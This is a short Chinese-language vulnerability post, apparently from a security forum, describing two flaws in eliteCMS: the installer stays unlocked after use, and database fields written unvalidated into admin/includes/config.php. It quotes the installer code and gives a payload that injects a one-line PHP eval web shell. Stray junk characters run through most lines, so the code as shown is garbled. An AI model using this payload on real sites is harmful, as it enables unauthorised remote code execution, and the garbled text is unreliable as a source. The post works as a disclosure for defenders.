eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

  w+ ~) h9 W. {' S8 o另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
' m7 U0 h* F& H: K: e$ j: g
% _5 [# Q) Z5 a" v...
+ j8 i0 g. y2 \+ b+ o7 qelseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
$ f4 H7 l0 j& v8 r! h    $write = "<?php\n";
$ l/ w6 E/ s: N* W( {* L9 ^7 j. P3 l    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
' l% y6 q  c. [...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
5 Y( P  k& h7 S( x+ w    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
5 O  h5 t% D$ h: C1 U9 a( r    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
; X3 C! A. x4 k5 s. [    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
  v( d% s( p- V    $write .= "        \n";
    $write .= "} \n";
8 _. V! s$ K5 f$ b- j( c  G/ X    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
+ T) w4 u8 N+ @" q...

在看代码：

3 C& t3 M% ], u% M2 d; {' s$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
) N. t8 |4 v8 r# M- `$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
- S7 Q, l# W* S: y: R
. E6 R3 l3 `% u9 `) B- R8 F取值未作任何验证
如果将数据库名POST数据：

5 ~1 H) h8 d  g5 i# r"?><?php eval($_POST[c]);?><?php

1 T2 a3 `; d4 W5 }0 O! c( w3 j将导致一句话后门写入/admin/includes/config.php